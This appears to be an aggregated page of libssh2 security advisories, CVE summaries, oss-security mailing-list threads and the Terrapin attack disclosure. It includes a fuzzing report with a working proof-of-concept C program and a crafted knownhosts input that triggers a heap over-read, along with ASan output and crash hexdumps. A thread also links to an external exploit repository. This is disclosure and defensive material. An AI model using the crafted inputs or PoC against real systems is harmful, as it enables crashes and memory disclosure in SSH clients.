libssh2 through 1.11.1, fixed in commit a13bb6c, contains a missing bounds check vulnerability that allows a malicious SSH server to trigger an arbitrary-length heap out-of-bounds read and a free of an uninitialized pointer via the publickey subsystem. In libssh2publickeylistfetch(), the version 1 response parser reads a server-controlled commentlen value and advances the parse pointer without verifying sufficient bytes remain in the buffer, causing the out-of-bounds read to leak heap pointers from adjacent allocations defeating ASLR, followed by heap allocator state corruption when the error cleanup path frees an uninitialized pointer from a non-zeroed realloc() region.

libssh2 through 1.11.1, fixed in commit 5e47761, contains a double-free vulnerability in the sftpopen() function in src/sftp.c that allows a malicious SSH server to corrupt the heap of any authenticated client opening an SFTP session. When a server responds to SSHFXPOPEN with SSHFXPSTATUS containing FXOK, the response data buffer is freed, and if a subsequent sftppacketrequire() call returns a specific error such as LIBSSH2ERRORCHANNELPACKETEXCEEDED, the same pointer is freed a second time, enabling tcache dup conditions on glibc systems that allow overlapping allocations and function pointer overwrites.

libssh2 Heap Buffer Overflow via ETM Cipher Negotiation

libssh2 Heap Out-of-Bounds Read via publickey subsystem

Last updated 4 September 2026

Last updated 4 September 2026

libssh2 through 1.11.1 reads an attacker-controlled 32-bit attribute count from a publickey-subsystem response and uses it in the allocation numattrs sizeof(libssh2publickeyattribute) without bounds checking, so on 32-bit platforms the multiplication overflows to an undersized buffer. A malicious SSH server can then drive the attribute-parsing loop to write past the allocation, causing a heap buffer overflow in a connecting libssh2 client.

Last updated 13 July 2026

Last updated 13 July 2026

On 24/06/2026 13:14, Sevan Janiyan wrote:

via https://github.com/libssh2/libssh2/pull/2052 "transport.c: Additional boundary checks for packet length" Ignore this, I was wrong.

Sevan

On 23/06/2026 21:24, James Addison wrote: The commit IDs of the fixes for each of the vulnerabilities, respectively, as found in the GitHub libssh2/libssh2.git repository, are:

- 2dae3024897e1898d389835151f4e9606227721d - 17626857d20b3c9a1addfa45979dadcee1cd84a4 - 97acf3dfda80c91c3a8c9f2372546301d4a1a7a8

[1] -https://digital.nhs.uk/cyber-alerts/2026/cc-4799

https://github.com/libssh2/libssh2/commit/97acf3dfda80c91c3a8c9f2372546301d4a1a7a8 via https://github.com/libssh2/libssh2/pull/2052 "transport.c: Additional boundary checks for packet length"

Sorry, too busy melting to provide a patch against 1.11.1 release. :(

Sincerely,

Sevan

On 6/23/26 13:24, James Addison wrote: - Critical severity, 9.2 rating: CVE-2026-55200 https://github.com/bikini/exploitarium/tree/main/libssh2-cve-2026-55200-poc claims to provide a PoC for this one.

-- -Alan Coopersmith- alan.coopersmith () oracle com Oracle Solaris Engineering - https://blogs.oracle.com/solaris

Hello list,

With credit to the NHS Digital Cyber security team for publishing[1] a notice about CVE-2026-55200 that alerted me to these:

Three vulnerabilities in libssh2 - a popular client library for the Unix secure shell protocol (aka SSH) - have been published as CVEs:

- High severity, 8.3 rating: CVE-2025-15661 - High severity, 8.2 rating: CVE-2026-55199 - Critical severity, 9.2 rating: CVE-2026-55200

The vulnerabilities affect versions up-to-and-including v1.11.1 of the libssh2 library.

Patches/commits fixing each of the vulnerabilities are available and have been merged into the libssh2 mainline development source control branch.

A release containing these fixes is under preparation.

For reference:

The commit IDs of the fixes for each of the vulnerabilities, respectively, as found in the GitHub libssh2/libssh2.git repository, are:

- 2dae3024897e1898d389835151f4e9606227721d - 17626857d20b3c9a1addfa45979dadcee1cd84a4 - 97acf3dfda80c91c3a8c9f2372546301d4a1a7a8

Regards, James

[1] - https://digital.nhs.uk/cyber-alerts/2026/cc-4799

-- OpenCulinary C.I.C. is a Community Interest Company, number SC647817, registered in Scotland, United Kingdom and with registered company address The Melting Pot, 15 Calton Road, Edinburgh, Scotland, EH8 8DL.

Last updated 30 June 2026

Last updated 30 June 2026

Last updated 30 June 2026

A security vulnerability has been detected in libssh2 up to 1.11.1. The impacted element is the function userauthpassword of the file src/userauth.c. Such manipulation of the argument usernamelen/passwordlen leads to integer overflow. The attack may be launched remotely. The name of the patch is 256d04b60d80bf1190e96b0ad1e91b2174d744b1. A patch should be applied to remediate this issue.

A security vulnerability has been detected in libssh2 up to 1.11.1. The impacted element is the function userauthpassword of the file src/userauth.c. Such manipulation of the argument usernamelen/passwordlen leads to integer overflow. The attack may be launched remotely. The name of the patch is 256d04b60d80bf1190e96b0ad1e91b2174d744b1. A patch should be applied to remediate this issue.

Hi,

Thank you for finding this, getting it fixed, and bringing it in here.

Just one minor detail:

On Tue, Aug 26, 2025 at 09:56:06PM +0400, Dhiraj Mishra wrote: I've successfully created a libFuzzer harness targeting the libssh2knownhostreadline() API, used for parsing SSH knownhosts files. The fuzzer discovered a heap buffer overflow vulnerability in the libssh2base64encode() function when processing malformed hashed hostname entries.

==41411==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x6020000000d5 at pc 0x00010728cb0f bp 0x7ff7b9a37f90 sp 0x7ff7b9a37758 READ of size 6 at 0x6020000000d5 thread T0

SUMMARY: AddressSanitizer: heap-buffer-overflow misc.c:463 in libssh2base64encode This looks like yet another case of ASan mislabeling over-reads as overflows (which it does all the time).

Can someone in particular please volunteer for getting this wording fixed in ASan, I guess separately in clang and gcc?

Meanwhile, we should be careful to recognize and re-label such findings, so e.g. this message's Subject and first paragraph should correctly say "over-read" and not "overflow". Of course, until ASan's wording is fixed, realistically many if not most vulnerability reports based on fuzzing+ASan will continue to be mislabeled like that, probably also leading to wrong CVSS vectors and thus wrong scores (likely exaggerated). But at least the few of us reading this message may try and do better, please.

Thanks,

Alexander

Summary:

I've successfully created a libFuzzer harness targeting the libssh2knownhostreadline() API, used for parsing SSH knownhosts files. The fuzzer discovered a heap buffer overflow vulnerability in the libssh2base64encode() function when processing malformed hashed hostname entries.

minimalpoc.c:

#include <stdio.h> #include <string.h> #include "libssh2.h"

int main() {

const char evil = "|1||||||| ssh-h-\x13\x13\x13\x13\x13\x13\x13\x13\x13\x13\x13\x13\x13\x13\x13\x13\x13\x13\x13\x13\x13\x13\x13\x13\x13\x13\x13rsA= #";

libssh2init(0); LIBSSH2SESSION session = libssh2sessioninit(); LIBSSH2KNOWNHOSTS hosts = libssh2knownhostinit(session);

libssh2knownhostreadline(hosts, evil, strlen(evil), LIBSSH2KNOWNHOSTFILEOPENSSH);

struct libssh2knownhost store, prev = NULL; char buf[4096]; sizet len; if (libssh2knownhostget(hosts, &store, prev) == 0) { libssh2knownhostwriteline(hosts, store, buf, sizeof(buf), &len, LIBSSH2KNOWNHOSTFILEOPENSSH); }

libssh2knownhostfree(hosts); libssh2sessionfree(session); libssh2exit(); return 0; }

Compile:

clang -g -fsanitize=address -I./include -I./src -DLIBSSH2OPENSSL -I/usr/local/opt/openssl@3/include minimalpoc.c ./src/.libs/libssh2.a -L/usr/local/opt/openssl@3/lib -lcrypto -lssl -lz -o minimalpoc

ASAN:

bash-3.2$ ./minimalpoc minimalpoc(41411,0x7ff84b5d2f80) malloc: nano zone abandoned due to inability to reserve vm space. ================================================================= ==41411==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x6020000000d5 at pc 0x00010728cb0f bp 0x7ff7b9a37f90 sp 0x7ff7b9a37758 READ of size 6 at 0x6020000000d5 thread T0 #0 0x00010728cb0e in strlen+0x80e (libclangrt.asanosxdynamic.dylib:x8664h+0x19b0e) #1 0x0001064d808e in libssh2base64encode misc.c:463 #2 0x0001064d72d3 in knownhostwriteline knownhost.c:1108 #3 0x0001064c6b10 in main minimalpoc.c:21 #4 0x7ff80983352f in start+0xbef (dyld:x8664+0xfffffffffffde52f)

0x6020000000d5 is located 0 bytes after 5-byte region [0x6020000000d0,0x6020000000d5) allocated by thread T0 here: #0 0x0001073554d2 in malloc+0x82 (libclangrt.asanosxdynamic.dylib:x8664h+0xe24d2) #1 0x0001064d7f0c in libssh2base64decode misc.c:395 #2 0x0001064d606f in knownhostadd knownhost.c:174 #3 0x0001064d6fa1 in hostline knownhost.c:851 #4 0x0001064c6aae in main minimalpoc.c:14 #5 0x7ff80983352f in start+0xbef (dyld:x8664+0xfffffffffffde52f)

SUMMARY: AddressSanitizer: heap-buffer-overflow misc.c:463 in libssh2base64encode Shadow bytes around the buggy address: 0x601ffffffe00: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0x601ffffffe80: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0x601fffffff00: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0x601fffffff80: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0x602000000000: fa fa fd fa fa fa fd fd fa fa 00 00 fa fa 00 04 =>0x602000000080: fa fa 00 04 fa fa 00 00 fa fa[05]fa fa fa 01 fa 0x602000000100: fa fa 02 fa fa fa fa fa fa fa fa fa fa fa fa fa 0x602000000180: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x602000000200: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x602000000280: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x602000000300: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa Shadow byte legend (one shadow byte represents 8 application bytes): Addressable: 00 Partially addressable: 01 02 03 04 05 06 07 Heap left redzone: fa Freed heap region: fd Stack left redzone: f1 Stack mid redzone: f2 Stack right redzone: f3 Stack after return: f5 Stack use after scope: f8 Global redzone: f9 Global init order: f6 Poisoned by user: f7 Container overflow: fc Array cookie: ac Intra object redzone: bb ASan internal: fe Left alloca redzone: ca Right alloca redzone: cb ==41411==ABORTING Abort trap: 6 bash-3.2$

Crash:

bash-3.2$ hexdump -C ./crash-47ae4ab289208f01fa5c170cf038b6b3420136cb 00000000 7c 31 7c 7c 7c 7c 7c 7c 7c 20 73 73 68 2d 68 2d ||1||||||| ssh-h-| 00000010 13 13 13 13 13 13 13 13 13 13 13 13 13 13 13 13 |................| 00000020 13 13 13 13 13 13 13 13 13 13 13 72 73 41 3d 20 |...........rsA= | 00000030 23 |#| 00000031 bash-3.2$ bash-3.2$ hexdump -C crash-d72f40d5cd95987a058ece287de07373ae7e1c23 00000000 7c 31 7c 7c 7c 7c 7c 7c 7c 20 73 73 68 2c 72 73 ||1||||||| ssh,rs| 00000010 61 20 41 3d 40 ff ff ff ff ff ff ff ff ff ff ff |a A=@...........| 00000020 ff ff ff ff ff ff ff ff ff ff ff 20 23 |........... #| 0000002d bash-3.2$

Fix:

https://github.com/libssh2/libssh2/pull/1641

Fabian Bäumer, Marcus Brinkmann, Jörg Schwenk discovered that the SSH protocol was vulnerable to a prefix truncation attack. If a remote attacker was able to intercept SSH communications, extension negotiation messages could be truncated, possibly leading to certain algorithms and features being downgraded. This issue is known as the Terrapin attack. This update adds protocol extensions to mitigate this issue.

On 12/18/23 08:08, Fabian Bäumer wrote: Mitigations

Open source projects I see have implemented this already are:

- AsyncSSH 2.14.2: https://asyncssh.readthedocs.io/en/latest/changes.html#release-2-14-2-18-dec-2023

- Dropbear git: https://github.com/mkj/dropbear/commit/6e43be5c7b99dbee49dc72b6f989f29fdd7e9356

- Erlang ssh 5.1.1: https://www.erlang.org/doc/apps/ssh/notes

- golang.org/x/crypto 0.17.0: https://groups.google.com/g/golang-announce/c/qA3XtxvMUyg

- libssh 0.10.6 and 0.9.8: https://www.libssh.org/2023/12/18/libssh-0-10-6-and-libssh-0-9-8-security-releases/

- libssh2 git: https://github.com/libssh2/libssh2/issues/1290 https://github.com/libssh2/libssh2/pull/1291

- OpenSSH 9.6: https://www.openssh.com/txt/release-9.6

- Paramiko 3.4.0: https://www.paramiko.org/changelog.html#3.4.0

- PuTTY 0.80: https://lists.tartarus.org/pipermail/putty-announce/2023/000037.html

- russh 0.40.2: https://github.com/warp-tech/russh/releases/tag/v0.40.2

- SFTPGo 2.5.6: https://github.com/drakkan/sftpgo/releases/tag/v2.5.6

- ssh2 [node.js/npm] 1.15.0: https://github.com/mscdex/ssh2/commits/v1.15.0

- Tera Term 5.1: https://github.com/TeraTermProject/teraterm/releases/tag/v5.1

- Thrussh 0.35.1: https://pijul.org/posts/2023-12-18-thrussh-cve/

There's also some open bugs against these open source projects that are not yet handled:

- Apache Mina: https://github.com/apache/mina-sshd/issues/445

- ProFTPD (modsftp): https://github.com/proftpd/proftpd/issues/1760

- SSHJ: https://github.com/hierynomus/sshj/issues/916

-- -Alan Coopersmith- alan.coopersmith () oracle com Oracle Solaris Engineering - https://blogs.oracle.com/solaris

Summary

Terrapin is a prefix truncation attack targeting the SSH protocol. More precisely, Terrapin breaks the integrity of SSH's secure channel. By carefully adjusting the sequence numbers during the handshake, an attacker can remove an arbitrary amount of messages sent by the client or server at the beginning of the secure channel without the client or server noticing it.

Mitigations

To mitigate this protocol vulnerability, OpenSSH suggested a so-called "strict kex" which alters the SSH handshake to ensure a Man-in-the-Middle attacker cannot introduce unauthenticated messages as well as convey sequence number manipulation across handshakes.

Warning: To take effect, both the client and server must support this countermeasure.

As a stop-gap measure, peers may also (temporarily) disable the affected algorithms and use unaffected alternatives like AES-GCM instead until patches are available.

Details

The SSH specifications of ChaCha20-Poly1305 (chacha20-poly1305@openssh.com) and Encrypt-then-MAC (-etm@openssh.com MACs) are vulnerable against an arbitrary prefix truncation attack (a.k.a. Terrapin attack). This allows for an extension negotiation downgrade by stripping the SSHMSGEXTINFO sent after the first message after SSHMSGNEWKEYS, downgrading security, and disabling attack countermeasures in some versions of OpenSSH. When targeting Encrypt-then-MAC, this attack requires the use of a CBC cipher to be practically exploitable due to the internal workings of the cipher mode. Additionally, this novel attack technique can be used to exploit previously unexploitable implementation flaws in a Man-in-the-Middle scenario.

The attack works by an attacker injecting an arbitrary number of SSHMSGIGNORE messages during the initial key exchange and consequently removing the same number of messages just after the initial key exchange has concluded. This is possible due to missing authentication of the excess SSHMSGIGNORE messages and the fact that the implicit sequence numbers used within the SSH protocol are only checked after the initial key exchange.

In the case of ChaCha20-Poly1305, the attack is guaranteed to work on every connection as this cipher does not maintain an internal state other than the message's sequence number. In the case of Encrypt-Then-MAC, practical exploitation requires the use of a CBC cipher; while theoretical integrity is broken for all ciphers when using this mode, message processing will fail at the application layer for CTR and stream ciphers.

For more details see https://terrapin-attack.com.

Impact

This attack targets the specification of ChaCha20-Poly1305 (chacha20-poly1305@openssh.com) and Encrypt-then-MAC (-etm@openssh.com), which are widely adopted by well-known SSH implementations and can be considered de-facto standard. These algorithms can be practically exploited; however, in the case of Encrypt-Then-MAC, we additionally require the use of a CBC cipher. As a consequence, this attack works against all well-behaving SSH implementations supporting either of those algorithms and can be used to downgrade (but not fully strip) connection security in case SSH extension negotiation (RFC8308) is supported. The attack may also enable attackers to exploit certain implementation flaws in a man-in-the-middle (MitM) scenario.

An issue was discovered in function libssh2packetadd in libssh2 1.10.0 allows attackers to access out of bounds memory.

In libssh2 v1.9.0 and earlier versions, the SSHMSGDISCONNECT logic in packet.c has an integer overflow in a bounds check, enabling an attacker to specify an arbitrary (out-of-bounds) offset for a subsequent memory read. A crafted SSH server may be able to disclose sensitive information or cause a denial of service condition on the client system when a user connects to the server.

In libssh2 before 1.9.0, kexmethoddiffiehellmangroupexchangesha256keyexchange in kex.c has an integer overflow that could lead to an out-of-bounds read in the way packets are read from the server. A remote attacker who compromises a SSH server may be able to disclose sensitive information or cause a denial of service condition on the client system when a user connects to the server. This is related to an libssh2checklength mistake, and is different from the various issues fixed in 1.8.1, such as CVE-2019-3855.

An out of bounds read flaw was discovered in libssh2 before 1.8.1 in the way SFTP packets with empty payloads are parsed. A remote attacker who compromises a SSH server may be able to cause a Denial of Service or read data in the client memory.

An out of bounds read flaw was discovered in libssh2 before 1.8.1 in the libssh2packetrequire and libssh2packetrequirev functions. A remote attacker who compromises a SSH server may be able to cause a Denial of Service or read data in the client memory.

A flaw was found in libssh2 before 1.8.1 creating a vulnerability on the SSH client side. A server could send a multiple keyboard interactive response messages whose total length are greater than unsigned char max characters. This value is used by the SSH client as an index to copy memory causing in an out of bounds memory write error.

A server could send a specially crafted SSHMSGCHANNELREQUEST packet with an exit status message and no payload. This would result in an out of bounds memory comparison.